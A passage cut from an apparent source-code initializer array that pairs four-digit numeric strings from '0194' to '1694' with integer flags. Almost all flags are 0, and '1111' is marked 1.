}, { "0194", 0 }, { "0195", 0 }, { "0196", 0 }, { "0197", 0 }, { "0198", 0 }, { "0199", 0 }, { "0200", 0 }, { "0201", 0 }, { "0202", 0 }, { "0203", 0 }, { "0204", 0 }, { "0205", 0 }, { "0206", 0 }, { "0207", 0 }, { "0208", 0 }, { "0209", 0 }, { "0210", 0 }, { "0211", 0 }, { "0212", 0 }, { "0213", 0 }, { "0214", 0 }, { "0215", 0 }, { "0216", 0 }, { "0217", 0 }, { "0218", 0 }, { "0219", 0 }, { "0220", 0 }, { "0221", 0 }, { "0222", 0 }, { "0223", 0 }, { "0224", 0 }, { "0225", 0 }, { "0226", 0 }, { "0227", 0 }, { "0228", 0 }, { "0229", 0 }, { "0230", 0 }, { "0231", 0 }, { "0232", 0 }, { "0233", 0 }, { "0234", 0 }, { "0235", 0 }, { "0236", 0 }, { "0237", 0 }, { "0238", 0 }, { "0239", 0 }, { "0240", 0 }, { "0241", 0 }, { "0242", 0 }, { "0243", 0 }, { "0244", 0 }, { "0245", 0 }, { "0246", 0 }, { "0247", 0 }, { "0248", 0 }, { "0249", 0 }, { "0250", 0 }, { "0251", 0 }, { "0252", 0 }, { "0253", 0 }, { "0254", 0 }, { "0255", 0 }, { "0256", 0 }, { "0257", 0 }, { "0258", 0 }, { "0259", 0 }, { "0260", 0 }, { "0261", 0 }, { "0262", 0 }, { "0263", 0 }, { "0264", 0 }, { "0265", 0 }, { "0266", 0 }, { "0267", 0 }, { "0268", 0 }, { "0269", 0 }, { "0270", 0 }, { "0271", 0 }, { "0272", 0 }, { "0273", 0 }, { "0274", 0 }, { "0275", 0 }, { "0276", 0 }, { "0277", 0 }, { "0278", 0 }, { "0279", 0 }, { "0280", 0 }, { "0281", 0 }, { "0282", 0 }, { "0283", 0 }, { "0284", 0 }, { "0285", 0 }, { "0286", 0 }, { "0287", 0 }, { "0288", 0 }, { "0289", 0 }, { "0290", 0 }, { "0291", 0 }, { "0292", 0 }, { "0293", 0 }, { "0294", 0 }, { "0295", 0 }, { "0296", 0 }, { "0297", 0 }, { "0298", 0 }, { "0299", 0 }, { "0300", 0 }, { "0301", 0 }, { "0302", 0 }, { "0303", 0 }, { "0304", 0 }, { "0305", 0 }, { "0306", 0 }, { "0307", 0 }, { "0308", 0 }, { "0309", 0 }, { "0310", 0 }, { "0311", 0 }, { "0312", 0 }, { "0313", 0 }, { "0314", 0 }, { "0315", 0 }, { "0316", 0 }, { "0317", 0 }, { "0318", 0 }, { "0319", 0 }, { "0320", 0 }, { "0321", 0 }, { "0322", 0 }, { "0323", 0 }, { "0324", 0 }, { "0325", 0 }, { "0326", 0 }, { "0327", 0 }, { "0328", 0 }, { "0329", 0 }, { "0330", 0 }, { "0331", 0 }, { "0332", 0 }, { "0333", 0 }, { "0334", 0 }, { "0335", 0 }, { "0336", 0 }, { "0337", 0 }, { "0338", 0 }, { "0339", 0 }, { "0340", 0 }, { "0341", 0 }, { "0342", 0 }, { "0343", 0 }, { "0344", 0 }, { "0345", 0 }, { "0346", 0 }, { "0347", 0 }, { "0348", 0 }, { "0349", 0 }, { "0350", 0 }, { "0351", 0 }, { "0352", 0 }, { "0353", 0 }, { "0354", 0 }, { "0355", 0 }, { "0356", 0 }, { "0357", 0 }, { "0358", 0 }, { "0359", 0 }, { "0360", 0 }, { "0361", 0 }, { "0362", 0 }, { "0363", 0 }, { "0364", 0 }, { "0365", 0 }, { "0366", 0 }, { "0367", 0 }, { "0368", 0 }, { "0369", 0 }, { "0370", 0 }, { "0371", 0 }, { "0372", 0 }, { "0373", 0 }, { "0374", 0 }, { "0375", 0 }, { "0376", 0 }, { "0377", 0 }, { "0378", 0 }, { "0379", 0 }, { "0380", 0 }, { "0381", 0 }, { "0382", 0 }, { "0383", 0 }, { "0384", 0 }, { "0385", 0 }, { "0386", 0 }, { "0387", 0 }, { "0388", 0 }, { "0389", 0 }, { "0390", 0 }, { "0391", 0 }, { "0392", 0 }, { "0393", 0 }, { "0394", 0 }, { "0395", 0 }, { "0396", 0 }, { "0397", 0 }, { "0398", 0 }, { "0399", 0 }, { "0400", 0 }, { "0401", 0 }, { "0402", 0 }, { "0403", 0 }, { "0404", 0 }, { "0405", 0 }, { "0406", 0 }, { "0407", 0 }, { "0408", 0 }, { "0409", 0 }, { "0410", 0 }, { "0411", 0 }, { "0412", 0 }, { "0413", 0 }, { "0414", 0 }, { "0415", 0 }, { "0416", 0 }, { "0417", 0 }, { "0418", 0 }, { "0419", 0 }, { "0420", 0 }, { "0421", 0 }, { "0422", 0 }, { "0423", 0 }, { "0424", 0 }, { "0425", 0 }, { "0426", 0 }, { "0427", 0 }, { "0428", 0 }, { "0429", 0 }, { "0430", 0 }, { "0431", 0 }, { "0432", 0 }, { "0433", 0 }, { "0434", 0 }, { "0435", 0 }, { "0436", 0 }, { "0437", 0 }, { "0438", 0 }, { "0439", 0 }, { "0440", 0 }, { "0441", 0 }, { "0442", 0 }, { "0443", 0 }, { "0444", 0 }, { "0445", 0 }, { "0446", 0 }, { "0447", 0 }, { "0448", 0 }, { "0449", 0 }, { "0450", 0 }, { "0451", 0 }, { "0452", 0 }, { "0453", 0 }, { "0454", 0 }, { "0455", 0 }, { "0456", 0 }, { "0457", 0 }, { "0458", 0 }, { "0459", 0 }, { "0460", 0 }, { "0461", 0 }, { "0462", 0 }, { "0463", 0 }, { "0464", 0 }, { "0465", 0 }, { "0466", 0 }, { "0467", 0 }, { "0468", 0 }, { "0469", 0 }, { "0470", 0 }, { "0471", 0 }, { "0472", 0 }, { "0473", 0 }, { "0474", 0 }, { "0475", 0 }, { "0476", 0 }, { "0477", 0 }, { "0478", 0 }, { "0479", 0 }, { "0480", 0 }, { "0481", 0 }, { "0482", 0 }, { "0483", 0 }, { "0484", 0 }, { "0485", 0 }, { "0486", 0 }, { "0487", 0 }, { "0488", 0 }, { "0489", 0 }, { "0490", 0 }, { "0491", 0 }, { "0492", 0 }, { "0493", 0 }, { "0494", 0 }, { "0495", 0 }, { "0496", 0 }, { "0497", 0 }, { "0498", 0 }, { "0499", 0 }, { "0500", 0 }, { "0501", 0 }, { "0502", 0 }, { "0503", 0 }, { "0504", 0 }, { "0505", 0 }, { "0506", 0 }, { "0507", 0 }, { "0508", 0 }, { "0509", 0 }, { "0510", 0 }, { "0511", 0 }, { "0512", 0 }, { "0513", 0 }, { "0514", 0 }, { "0515", 0 }, { "0516", 0 }, { "0517", 0 }, { "0518", 0 }, { "0519", 0 }, { "0520", 0 }, { "0521", 0 }, { "0522", 0 }, { "0523", 0 }, { "0524", 0 }, { "0525", 0 }, { "0526", 0 }, { "0527", 0 }, { "0528", 0 }, { "0529", 0 }, { "0530", 0 }, { "0531", 0 }, { "0532", 0 }, { "0533", 0 }, { "0534", 0 }, { "0535", 0 }, { "0536", 0 }, { "0537", 0 }, { "0538", 0 }, { "0539", 0 }, { "0540", 0 }, { "0541", 0 }, { "0542", 0 }, { "0543", 0 }, { "0544", 0 }, { "0545", 0 }, { "0546", 0 }, { "0547", 0 }, { "0548", 0 }, { "0549", 0 }, { "0550", 0 }, { "0551", 0 }, { "0552", 0 }, { "0553", 0 }, { "0554", 0 }, { "0555", 0 }, { "0556", 0 }, { "0557", 0 }, { "0558", 0 }, { "0559", 0 }, { "0560", 0 }, { "0561", 0 }, { "0562", 0 }, { "0563", 0 }, { "0564", 0 }, { "0565", 0 }, { "0566", 0 }, { "0567", 0 }, { "0568", 0 }, { "0569", 0 }, { "0570", 0 }, { "0571", 0 }, { "0572", 0 }, { "0573", 0 }, { "0574", 0 }, { "0575", 0 }, { "0576", 0 }, { "0577", 0 }, { "0578", 0 }, { "0579", 0 }, { "0580", 0 }, { "0581", 0 }, { "0582", 0 }, { "0583", 0 }, { "0584", 0 }, { "0585", 0 }, { "0586", 0 }, { "0587", 0 }, { "0588", 0 }, { "0589", 0 }, { "0590", 0 }, { "0591", 0 }, { "0592", 0 }, { "0593", 0 }, { "0594", 0 }, { "0595", 0 }, { "0596", 0 }, { "0597", 0 }, { "0598", 0 }, { "0599", 0 }, { "0600", 0 }, { "0601", 0 }, { "0602", 0 }, { "0603", 0 }, { "0604", 0 }, { "0605", 0 }, { "0606", 0 }, { "0607", 0 }, { "0608", 0 }, { "0609", 0 }, { "0610", 0 }, { "0611", 0 }, { "0612", 0 }, { "0613", 0 }, { "0614", 0 }, { "0615", 0 }, { "0616", 0 }, { "0617", 0 }, { "0618", 0 }, { "0619", 0 }, { "0620", 0 }, { "0621", 0 }, { "0622", 0 }, { "0623", 0 }, { "0624", 0 }, { "0625", 0 }, { "0626", 0 }, { "0627", 0 }, { "0628", 0 }, { "0629", 0 }, { "0630", 0 }, { "0631", 0 }, { "0632", 0 }, { "0633", 0 }, { "0634", 0 }, { "0635", 0 }, { "0636", 0 }, { "0637", 0 }, { "0638", 0 }, { "0639", 0 }, { "0640", 0 }, { "0641", 0 }, { "0642", 0 }, { "0643", 0 }, { "0644", 0 }, { "0645", 0 }, { "0646", 0 }, { "0647", 0 }, { "0648", 0 }, { "0649", 0 }, { "0650", 0 }, { "0651", 0 }, { "0652", 0 }, { "0653", 0 }, { "0654", 0 }, { "0655", 0 }, { "0656", 0 }, { "0657", 0 }, { "0658", 0 }, { "0659", 0 }, { "0660", 0 }, { "0661", 0 }, { "0662", 0 }, { "0663", 0 }, { "0664", 0 }, { "0665", 0 }, { "0666", 0 }, { "0667", 0 }, { "0668", 0 }, { "0669", 0 }, { "0670", 0 }, { "0671", 0 }, { "0672", 0 }, { "0673", 0 }, { "0674", 0 }, { "0675", 0 }, { "0676", 0 }, { "0677", 0 }, { "0678", 0 }, { "0679", 0 }, { "0680", 0 }, { "0681", 0 }, { "0682", 0 }, { "0683", 0 }, { "0684", 0 }, { "0685", 0 }, { "0686", 0 }, { "0687", 0 }, { "0688", 0 }, { "0689", 0 }, { "0690", 0 }, { "0691", 0 }, { "0692", 0 }, { "0693", 0 }, { "0694", 0 }, { "0695", 0 }, { "0696", 0 }, { "0697", 0 }, { "0698", 0 }, { "0699", 0 }, { "0700", 0 }, { "0701", 0 }, { "0702", 0 }, { "0703", 0 }, { "0704", 0 }, { "0705", 0 }, { "0706", 0 }, { "0707", 0 }, { "0708", 0 }, { "0709", 0 }, { "0710", 0 }, { "0711", 0 }, { "0712", 0 }, { "0713", 0 }, { "0714", 0 }, { "0715", 0 }, { "0716", 0 }, { "0717", 0 }, { "0718", 0 }, { "0719", 0 }, { "0720", 0 }, { "0721", 0 }, { "0722", 0 }, { "0723", 0 }, { "0724", 0 }, { "0725", 0 }, { "0726", 0 }, { "0727", 0 }, { "0728", 0 }, { "0729", 0 }, { "0730", 0 }, { "0731", 0 }, { "0732", 0 }, { "0733", 0 }, { "0734", 0 }, { "0735", 0 }, { "0736", 0 }, { "0737", 0 }, { "0738", 0 }, { "0739", 0 }, { "0740", 0 }, { "0741", 0 }, { "0742", 0 }, { "0743", 0 }, { "0744", 0 }, { "0745", 0 }, { "0746", 0 }, { "0747", 0 }, { "0748", 0 }, { "0749", 0 }, { "0750", 0 }, { "0751", 0 }, { "0752", 0 }, { "0753", 0 }, { "0754", 0 }, { "0755", 0 }, { "0756", 0 }, { "0757", 0 }, { "0758", 0 }, { "0759", 0 }, { "0760", 0 }, { "0761", 0 }, { "0762", 0 }, { "0763", 0 }, { "0764", 0 }, { "0765", 0 }, { "0766", 0 }, { "0767", 0 }, { "0768", 0 }, { "0769", 0 }, { "0770", 0 }, { "0771", 0 }, { "0772", 0 }, { "0773", 0 }, { "0774", 0 }, { "0775", 0 }, { "0776", 0 }, { "0777", 0 }, { "0778", 0 }, { "0779", 0 }, { "0780", 0 }, { "0781", 0 }, { "0782", 0 }, { "0783", 0 }, { "0784", 0 }, { "0785", 0 }, { "0786", 0 }, { "0787", 0 }, { "0788", 0 }, { "0789", 0 }, { "0790", 0 }, { "0791", 0 }, { "0792", 0 }, { "0793", 0 }, { "0794", 0 }, { "0795", 0 }, { "0796", 0 }, { "0797", 0 }, { "0798", 0 }, { "0799", 0 }, { "0800", 0 }, { "0801", 0 }, { "0802", 0 }, { "0803", 0 }, { "0804", 0 }, { "0805", 0 }, { "0806", 0 }, { "0807", 0 }, { "0808", 0 }, { "0809", 0 }, { "0810", 0 }, { "0811", 0 }, { "0812", 0 }, { "0813", 0 }, { "0814", 0 }, { "0815", 0 }, { "0816", 0 }, { "0817", 0 }, { "0818", 0 }, { "0819", 0 }, { "0820", 0 }, { "0821", 0 }, { "0822", 0 }, { "0823", 0 }, { "0824", 0 }, { "0825", 0 }, { "0826", 0 }, { "0827", 0 }, { "0828", 0 }, { "0829", 0 }, { "0830", 0 }, { "0831", 0 }, { "0832", 0 }, { "0833", 0 }, { "0834", 0 }, { "0835", 0 }, { "0836", 0 }, { "0837", 0 }, { "0838", 0 }, { "0839", 0 }, { "0840", 0 }, { "0841", 0 }, { "0842", 0 }, { "0843", 0 }, { "0844", 0 }, { "0845", 0 }, { "0846", 0 }, { "0847", 0 }, { "0848", 0 }, { "0849", 0 }, { "0850", 0 }, { "0851", 0 }, { "0852", 0 }, { "0853", 0 }, { "0854", 0 }, { "0855", 0 }, { "0856", 0 }, { "0857", 0 }, { "0858", 0 }, { "0859", 0 }, { "0860", 0 }, { "0861", 0 }, { "0862", 0 }, { "0863", 0 }, { "0864", 0 }, { "0865", 0 }, { "0866", 0 }, { "0867", 0 }, { "0868", 0 }, { "0869", 0 }, { "0870", 0 }, { "0871", 0 }, { "0872", 0 }, { "0873", 0 }, { "0874", 0 }, { "0875", 0 }, { "0876", 0 }, { "0877", 0 }, { "0878", 0 }, { "0879", 0 }, { "0880", 0 }, { "0881", 0 }, { "0882", 0 }, { "0883", 0 }, { "0884", 0 }, { "0885", 0 }, { "0886", 0 }, { "0887", 0 }, { "0888", 0 }, { "0889", 0 }, { "0890", 0 }, { "0891", 0 }, { "0892", 0 }, { "0893", 0 }, { "0894", 0 }, { "0895", 0 }, { "0896", 0 }, { "0897", 0 }, { "0898", 0 }, { "0899", 0 }, { "0900", 0 }, { "0901", 0 }, { "0902", 0 }, { "0903", 0 }, { "0904", 0 }, { "0905", 0 }, { "0906", 0 }, { "0907", 0 }, { "0908", 0 }, { "0909", 0 }, { "0910", 0 }, { "0911", 0 }, { "0912", 0 }, { "0913", 0 }, { "0914", 0 }, { "0915", 0 }, { "0916", 0 }, { "0917", 0 }, { "0918", 0 }, { "0919", 0 }, { "0920", 0 }, { "0921", 0 }, { "0922", 0 }, { "0923", 0 }, { "0924", 0 }, { "0925", 0 }, { "0926", 0 }, { "0927", 0 }, { "0928", 0 }, { "0929", 0 }, { "0930", 0 }, { "0931", 0 }, { "0932", 0 }, { "0933", 0 }, { "0934", 0 }, { "0935", 0 }, { "0936", 0 }, { "0937", 0 }, { "0938", 0 }, { "0939", 0 }, { "0940", 0 }, { "0941", 0 }, { "0942", 0 }, { "0943", 0 }, { "0944", 0 }, { "0945", 0 }, { "0946", 0 }, { "0947", 0 }, { "0948", 0 }, { "0949", 0 }, { "0950", 0 }, { "0951", 0 }, { "0952", 0 }, { "0953", 0 }, { "0954", 0 }, { "0955", 0 }, { "0956", 0 }, { "0957", 0 }, { "0958", 0 }, { "0959", 0 }, { "0960", 0 }, { "0961", 0 }, { "0962", 0 }, { "0963", 0 }, { "0964", 0 }, { "0965", 0 }, { "0966", 0 }, { "0967", 0 }, { "0968", 0 }, { "0969", 0 }, { "0970", 0 }, { "0971", 0 }, { "0972", 0 }, { "0973", 0 }, { "0974", 0 }, { "0975", 0 }, { "0976", 0 }, { "0977", 0 }, { "0978", 0 }, { "0979", 0 }, { "0980", 0 }, { "0981", 0 }, { "0982", 0 }, { "0983", 0 }, { "0984", 0 }, { "0985", 0 }, { "0986", 0 }, { "0987", 0 }, { "0988", 0 }, { "0989", 0 }, { "0990", 0 }, { "0991", 0 }, { "0992", 0 }, { "0993", 0 }, { "0994", 0 }, { "0995", 0 }, { "0996", 0 }, { "0997", 0 }, { "0998", 0 }, { "0999", 0 }, { "1000", 0 }, { "1001", 0 }, { "1002", 0 }, { "1003", 0 }, { "1004", 0 }, { "1005", 0 }, { "1006", 0 }, { "1007", 0 }, { "1008", 0 }, { "1009", 0 }, { "1010", 0 }, { "1011", 0 }, { "1012", 0 }, { "1013", 0 }, { "1014", 0 }, { "1015", 0 }, { "1016", 0 }, { "1017", 0 }, { "1018", 0 }, { "1019", 0 }, { "1020", 0 }, { "1021", 0 }, { "1022", 0 }, { "1023", 0 }, { "1024", 0 }, { "1025", 0 }, { "1026", 0 }, { "1027", 0 }, { "1028", 0 }, { "1029", 0 }, { "1030", 0 }, { "1031", 0 }, { "1032", 0 }, { "1033", 0 }, { "1034", 0 }, { "1035", 0 }, { "1036", 0 }, { "1037", 0 }, { "1038", 0 }, { "1039", 0 }, { "1040", 0 }, { "1041", 0 }, { "1042", 0 }, { "1043", 0 }, { "1044", 0 }, { "1045", 0 }, { "1046", 0 }, { "1047", 0 }, { "1048", 0 }, { "1049", 0 }, { "1050", 0 }, { "1051", 0 }, { "1052", 0 }, { "1053", 0 }, { "1054", 0 }, { "1055", 0 }, { "1056", 0 }, { "1057", 0 }, { "1058", 0 }, { "1059", 0 }, { "1060", 0 }, { "1061", 0 }, { "1062", 0 }, { "1063", 0 }, { "1064", 0 }, { "1065", 0 }, { "1066", 0 }, { "1067", 0 }, { "1068", 0 }, { "1069", 0 }, { "1070", 0 }, { "1071", 0 }, { "1072", 0 }, { "1073", 0 }, { "1074", 0 }, { "1075", 0 }, { "1076", 0 }, { "1077", 0 }, { "1078", 0 }, { "1079", 0 }, { "1080", 0 }, { "1081", 0 }, { "1082", 0 }, { "1083", 0 }, { "1084", 0 }, { "1085", 0 }, { "1086", 0 }, { "1087", 0 }, { "1088", 0 }, { "1089", 0 }, { "1090", 0 }, { "1091", 0 }, { "1092", 0 }, { "1093", 0 }, { "1094", 0 }, { "1095", 0 }, { "1096", 0 }, { "1097", 0 }, { "1098", 0 }, { "1099", 0 }, { "1100", 0 }, { "1101", 0 }, { "1102", 0 }, { "1103", 0 }, { "1104", 0 }, { "1105", 0 }, { "1106", 0 }, { "1107", 0 }, { "1108", 0 }, { "1109", 0 }, { "1110", 0 }, { "1111", 1 }, { "1112", 0 }, { "1113", 0 }, { "1114", 0 }, { "1115", 0 }, { "1116", 0 }, { "1117", 0 }, { "1118", 0 }, { "1119", 0 }, { "1120", 0 }, { "1121", 0 }, { "1122", 0 }, { "1123", 0 }, { "1124", 0 }, { "1125", 0 }, { "1126", 0 }, { "1127", 0 }, { "1128", 0 }, { "1129", 0 }, { "1130", 0 }, { "1131", 0 }, { "1132", 0 }, { "1133", 0 }, { "1134", 0 }, { "1135", 0 }, { "1136", 0 }, { "1137", 0 }, { "1138", 0 }, { "1139", 0 }, { "1140", 0 }, { "1141", 0 }, { "1142", 0 }, { "1143", 0 }, { "1144", 0 }, { "1145", 0 }, { "1146", 0 }, { "1147", 0 }, { "1148", 0 }, { "1149", 0 }, { "1150", 0 }, { "1151", 0 }, { "1152", 0 }, { "1153", 0 }, { "1154", 0 }, { "1155", 0 }, { "1156", 0 }, { "1157", 0 }, { "1158", 0 }, { "1159", 0 }, { "1160", 0 }, { "1161", 0 }, { "1162", 0 }, { "1163", 0 }, { "1164", 0 }, { "1165", 0 }, { "1166", 0 }, { "1167", 0 }, { "1168", 0 }, { "1169", 0 }, { "1170", 0 }, { "1171", 0 }, { "1172", 0 }, { "1173", 0 }, { "1174", 0 }, { "1175", 0 }, { "1176", 0 }, { "1177", 0 }, { "1178", 0 }, { "1179", 0 }, { "1180", 0 }, { "1181", 0 }, { "1182", 0 }, { "1183", 0 }, { "1184", 0 }, { "1185", 0 }, { "1186", 0 }, { "1187", 0 }, { "1188", 0 }, { "1189", 0 }, { "1190", 0 }, { "1191", 0 }, { "1192", 0 }, { "1193", 0 }, { "1194", 0 }, { "1195", 0 }, { "1196", 0 }, { "1197", 0 }, { "1198", 0 }, { "1199", 0 }, { "1200", 0 }, { "1201", 0 }, { "1202", 0 }, { "1203", 0 }, { "1204", 0 }, { "1205", 0 }, { "1206", 0 }, { "1207", 0 }, { "1208", 0 }, { "1209", 0 }, { "1210", 0 }, { "1211", 0 }, { "1212", 0 }, { "1213", 0 }, { "1214", 0 }, { "1215", 0 }, { "1216", 0 }, { "1217", 0 }, { "1218", 0 }, { "1219", 0 }, { "1220", 0 }, { "1221", 0 }, { "1222", 0 }, { "1223", 0 }, { "1224", 0 }, { "1225", 0 }, { "1226", 0 }, { "1227", 0 }, { "1228", 0 }, { "1229", 0 }, { "1230", 0 }, { "1231", 0 }, { "1232", 0 }, { "1233", 0 }, { "1235", 0 }, { "1236", 0 }, { "1237", 0 }, { "1238", 0 }, { "1239", 0 }, { "1240", 0 }, { "1241", 0 }, { "1242", 0 }, { "1243", 0 }, { "1244", 0 }, { "1245", 0 }, { "1246", 0 }, { "1247", 0 }, { "1248", 0 }, { "1249", 0 }, { "1250", 0 }, { "1251", 0 }, { "1252", 0 }, { "1253", 0 }, { "1254", 0 }, { "1255", 0 }, { "1256", 0 }, { "1257", 0 }, { "1258", 0 }, { "1259", 0 }, { "1260", 0 }, { "1261", 0 }, { "1262", 0 }, { "1263", 0 }, { "1264", 0 }, { "1265", 0 }, { "1266", 0 }, { "1267", 0 }, { "1268", 0 }, { "1269", 0 }, { "1270", 0 }, { "1271", 0 }, { "1272", 0 }, { "1273", 0 }, { "1274", 0 }, { "1275", 0 }, { "1276", 0 }, { "1277", 0 }, { "1278", 0 }, { "1279", 0 }, { "1280", 0 }, { "1281", 0 }, { "1282", 0 }, { "1283", 0 }, { "1284", 0 }, { "1285", 0 }, { "1286", 0 }, { "1287", 0 }, { "1288", 0 }, { "1289", 0 }, { "1290", 0 }, { "1291", 0 }, { "1292", 0 }, { "1293", 0 }, { "1294", 0 }, { "1295", 0 }, { "1296", 0 }, { "1297", 0 }, { "1298", 0 }, { "1299", 0 }, { "1300", 0 }, { "1301", 0 }, { "1302", 0 }, { "1303", 0 }, { "1304", 0 }, { "1305", 0 }, { "1306", 0 }, { "1307", 0 }, { "1308", 0 }, { "1309", 0 }, { "1310", 0 }, { "1311", 0 }, { "1312", 0 }, { "1313", 0 }, { "1314", 0 }, { "1315", 0 }, { "1316", 0 }, { "1317", 0 }, { "1318", 0 }, { "1319", 0 }, { "1320", 0 }, { "1321", 0 }, { "1322", 0 }, { "1323", 0 }, { "1324", 0 }, { "1325", 0 }, { "1326", 0 }, { "1327", 0 }, { "1328", 0 }, { "1329", 0 }, { "1330", 0 }, { "1331", 0 }, { "1332", 0 }, { "1333", 0 }, { "1334", 0 }, { "1335", 0 }, { "1336", 0 }, { "1337", 0 }, { "1338", 0 }, { "1339", 0 }, { "1340", 0 }, { "1341", 0 }, { "1342", 0 }, { "1343", 0 }, { "1344", 0 }, { "1345", 0 }, { "1346", 0 }, { "1347", 0 }, { "1348", 0 }, { "1349", 0 }, { "1350", 0 }, { "1351", 0 }, { "1352", 0 }, { "1353", 0 }, { "1354", 0 }, { "1355", 0 }, { "1356", 0 }, { "1357", 0 }, { "1358", 0 }, { "1359", 0 }, { "1360", 0 }, { "1361", 0 }, { "1362", 0 }, { "1363", 0 }, { "1364", 0 }, { "1365", 0 }, { "1366", 0 }, { "1367", 0 }, { "1368", 0 }, { "1369", 0 }, { "1370", 0 }, { "1371", 0 }, { "1372", 0 }, { "1373", 0 }, { "1374", 0 }, { "1375", 0 }, { "1376", 0 }, { "1377", 0 }, { "1378", 0 }, { "1379", 0 }, { "1380", 0 }, { "1381", 0 }, { "1382", 0 }, { "1383", 0 }, { "1384", 0 }, { "1385", 0 }, { "1386", 0 }, { "1387", 0 }, { "1388", 0 }, { "1389", 0 }, { "1390", 0 }, { "1391", 0 }, { "1392", 0 }, { "1393", 0 }, { "1394", 0 }, { "1395", 0 }, { "1396", 0 }, { "1397", 0 }, { "1398", 0 }, { "1399", 0 }, { "1400", 0 }, { "1401", 0 }, { "1402", 0 }, { "1403", 0 }, { "1404", 0 }, { "1405", 0 }, { "1406", 0 }, { "1407", 0 }, { "1408", 0 }, { "1409", 0 }, { "1410", 0 }, { "1411", 0 }, { "1412", 0 }, { "1413", 0 }, { "1414", 0 }, { "1415", 0 }, { "1416", 0 }, { "1417", 0 }, { "1418", 0 }, { "1419", 0 }, { "1420", 0 }, { "1421", 0 }, { "1422", 0 }, { "1423", 0 }, { "1424", 0 }, { "1425", 0 }, { "1426", 0 }, { "1427", 0 }, { "1428", 0 }, { "1429", 0 }, { "1430", 0 }, { "1431", 0 }, { "1432", 0 }, { "1433", 0 }, { "1434", 0 }, { "1435", 0 }, { "1436", 0 }, { "1437", 0 }, { "1438", 0 }, { "1439", 0 }, { "1440", 0 }, { "1441", 0 }, { "1442", 0 }, { "1443", 0 }, { "1444", 0 }, { "1445", 0 }, { "1446", 0 }, { "1447", 0 }, { "1448", 0 }, { "1449", 0 }, { "1450", 0 }, { "1451", 0 }, { "1452", 0 }, { "1453", 0 }, { "1454", 0 }, { "1455", 0 }, { "1456", 0 }, { "1457", 0 }, { "1458", 0 }, { "1459", 0 }, { "1460", 0 }, { "1461", 0 }, { "1462", 0 }, { "1463", 0 }, { "1464", 0 }, { "1465", 0 }, { "1466", 0 }, { "1467", 0 }, { "1468", 0 }, { "1469", 0 }, { "1470", 0 }, { "1471", 0 }, { "1472", 0 }, { "1473", 0 }, { "1474", 0 }, { "1475", 0 }, { "1476", 0 }, { "1477", 0 }, { "1478", 0 }, { "1479", 0 }, { "1480", 0 }, { "1481", 0 }, { "1482", 0 }, { "1483", 0 }, { "1484", 0 }, { "1485", 0 }, { "1486", 0 }, { "1487", 0 }, { "1488", 0 }, { "1489", 0 }, { "1490", 0 }, { "1491", 0 }, { "1492", 0 }, { "1493", 0 }, { "1494", 0 }, { "1495", 0 }, { "1496", 0 }, { "1497", 0 }, { "1498", 0 }, { "1499", 0 }, { "1500", 0 }, { "1501", 0 }, { "1502", 0 }, { "1503", 0 }, { "1504", 0 }, { "1505", 0 }, { "1506", 0 }, { "1507", 0 }, { "1508", 0 }, { "1509", 0 }, { "1510", 0 }, { "1511", 0 }, { "1512", 0 }, { "1513", 0 }, { "1514", 0 }, { "1515", 0 }, { "1516", 0 }, { "1517", 0 }, { "1518", 0 }, { "1519", 0 }, { "1520", 0 }, { "1521", 0 }, { "1522", 0 }, { "1523", 0 }, { "1524", 0 }, { "1525", 0 }, { "1526", 0 }, { "1527", 0 }, { "1528", 0 }, { "1529", 0 }, { "1530", 0 }, { "1531", 0 }, { "1532", 0 }, { "1533", 0 }, { "1534", 0 }, { "1535", 0 }, { "1536", 0 }, { "1537", 0 }, { "1538", 0 }, { "1539", 0 }, { "1540", 0 }, { "1541", 0 }, { "1542", 0 }, { "1543", 0 }, { "1544", 0 }, { "1545", 0 }, { "1546", 0 }, { "1547", 0 }, { "1548", 0 }, { "1549", 0 }, { "1550", 0 }, { "1551", 0 }, { "1552", 0 }, { "1553", 0 }, { "1554", 0 }, { "1555", 0 }, { "1556", 0 }, { "1557", 0 }, { "1558", 0 }, { "1559", 0 }, { "1560", 0 }, { "1561", 0 }, { "1562", 0 }, { "1563", 0 }, { "1564", 0 }, { "1565", 0 }, { "1566", 0 }, { "1567", 0 }, { "1568", 0 }, { "1569", 0 }, { "1570", 0 }, { "1571", 0 }, { "1572", 0 }, { "1573", 0 }, { "1574", 0 }, { "1575", 0 }, { "1576", 0 }, { "1577", 0 }, { "1578", 0 }, { "1579", 0 }, { "1580", 0 }, { "1581", 0 }, { "1582", 0 }, { "1583", 0 }, { "1584", 0 }, { "1585", 0 }, { "1586", 0 }, { "1587", 0 }, { "1588", 0 }, { "1589", 0 }, { "1590", 0 }, { "1591", 0 }, { "1592", 0 }, { "1593", 0 }, { "1594", 0 }, { "1595", 0 }, { "1596", 0 }, { "1597", 0 }, { "1598", 0 }, { "1599", 0 }, { "1600", 0 }, { "1601", 0 }, { "1602", 0 }, { "1603", 0 }, { "1604", 0 }, { "1605", 0 }, { "1606", 0 }, { "1607", 0 }, { "1608", 0 }, { "1609", 0 }, { "1610", 0 }, { "1611", 0 }, { "1612", 0 }, { "1613", 0 }, { "1614", 0 }, { "1615", 0 }, { "1616", 0 }, { "1617", 0 }, { "1618", 0 }, { "1619", 0 }, { "1620", 0 }, { "1621", 0 }, { "1622", 0 }, { "1623", 0 }, { "1624", 0 }, { "1625", 0 }, { "1626", 0 }, { "1627", 0 }, { "1628", 0 }, { "1629", 0 }, { "1630", 0 }, { "1631", 0 }, { "1632", 0 }, { "1633", 0 }, { "1634", 0 }, { "1635", 0 }, { "1636", 0 }, { "1637", 0 }, { "1638", 0 }, { "1639", 0 }, { "1640", 0 }, { "1641", 0 }, { "1642", 0 }, { "1643", 0 }, { "1644", 0 }, { "1645", 0 }, { "1646", 0 }, { "1647", 0 }, { "1648", 0 }, { "1649", 0 }, { "1650", 0 }, { "1651", 0 }, { "1652", 0 }, { "1653", 0 }, { "1654", 0 }, { "1655", 0 }, { "1656", 0 }, { "1657", 0 }, { "1658", 0 }, { "1659", 0 }, { "1660", 0 }, { "1661", 0 }, { "1662", 0 }, { "1663", 0 }, { "1664", 0 }, { "1665", 0 }, { "1666", 0 }, { "1667", 0 }, { "1668", 0 }, { "1669", 0 }, { "1670", 0 }, { "1671", 0 }, { "1672", 0 }, { "1673", 0 }, { "1674", 0 }, { "1675", 0 }, { "1676", 0 }, { "1677", 0 }, { "1678", 0 }, { "1679", 0 }, { "1680", 0 }, { "1681", 0 }, { "1682", 0 }, { "1683", 0 }, { "1684", 0 }, { "1685", 0 }, { "1686", 0 }, { "1687", 0 }, { "1688", 0 }, { "1689", 0 }, { "1690", 0 }, { "1691", 0 }, { "1692", 0 }, { "1693", 0 }, { "1694", 0 